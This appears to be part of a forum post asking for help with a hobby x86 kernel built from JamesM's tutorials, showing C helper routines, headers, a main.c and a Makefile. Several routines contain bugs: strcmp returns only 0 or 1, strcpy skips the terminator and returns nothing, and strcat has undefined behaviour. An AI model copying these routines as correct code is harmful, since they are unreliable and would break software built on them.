asm volatile ( "outb %1, %0" : : "dN" ( port ), "a" ( value ) ); } u8int inb ( u16int port ) { u8int ret; asm volatile ( "inb %1, %0" : "=a" ( ret ) : "dN" ( port ) ); return ret; } u16int inw ( u16int port ) { u16int ret; asm volatile ( "inw %1, %0" : "=a" ( ret ) : "dN" ( port ) ); return ret; } // Copy len bytes from src to dest. void memcpy(u8int *dest, const u8int *src, u32int len) { const u8int *sp = ( const u8int * ) src; u8int *dp = ( u8int * ) dest; for ( ; len != 0; len-- ) *dp++ =*sp++; } // Write len copies of val into dest. void memset(u8int *dest, u8int val, u32int len) { u8int *temp = ( u8int * ) dest; for ( ; len != 0; len-- ) *temp++ = val; } // Compare two strings. Should return -1 if // str1 < str2, 0 if they are equal or 1 otherwise. int strcmp(char *str1, char *str2) { int i = 0; int failed = 0; while ( str1[i] != '\0' && str2[i] != '\0' ) { if ( str1[i] != str2[i] ) { failed = 1; break; } i++; } // Why did the loop exit? if ( ( str1[i] == '\0' && str2[i] != '\0' || (str1[i] != '\0' && str2[i] =='\0' ) ) failed =1; return failed; } // Copy the NULL-terminated string src into dest, and // return dest. char *strcpy(char *dest, const char *src) { do { *dest++ = *src++; } while ( *src != 0 ); } // Concatenate the NULL-terminated string src onto // the end of dest, and return dest. char *strcat(char *dest, const char *src) { while ( *dest != 0 ) { *dest = *dest++; } do { *dest++ = *src++; } while ( *src != 0 ); return dest; } common.h: // common.h -- Defines typedefs and some global functions. // From JamesM's kernel development tutorials. #ifndef COMMON_H #define COMMON_H // Some nice typedefs, to standardise sizes across platforms. // These typedefs are written for 32-bit x86. typedef unsigned int u32int; typedef int s32int; typedef unsigned short u16int; typedef short s16int; typedef unsigned char u8int; typedef char s8int; void outb ( u16int port, u8int value ); u8int inb ( u16int port ); u16int inw ( u16int port ); #endif //COMMON_H main.c: // main.c -- Defines the C-code kernel entry point, calls initialisation routines. // Made for JamesM's tutorials <www.jamesmolloy.co.uk> #include "monitor.h" int main(struct multiboot *mboot_ptr) { monitor_clear(); monitor_write ( "hello, world!" ); return 0; } here is my makefile: C_SOURCES= main.c monitor.c common.c S_SOURCES= boot.s C_OBJECTS=$(patsubst %.c, obj/%.o, $(C_SOURCES)) S_OBJECTS=$(patsubst %.s, obj/%.o, $(S_SOURCES)) CFLAGS=-nostdlib -nostdinc -fno-builtin -fno-stack-protector -m32 -Iheaders LDFLAGS=-Tlink.ld -melf_i386 --oformat=elf32-i386 ASFLAGS=-felf all: kern/kernel .PHONY: clean clean: -rm -f kern/kernel kern/kernel: $(S_OBJECTS) $(C_OBJECTS) ld $(LDFLAGS) -o $@ $^ $(C_OBJECTS): obj/%.o : %.c gcc $(CFLAGS) $< -o $@ vpath %.c source $(S_OBJECTS): obj/%.o : %.s nasm $(ASFLAGS) $< -o $@ vpath %.s asem Hopefully this will help you understand what is going wrong and how to fix it :L Thanks in advance. Jamie.

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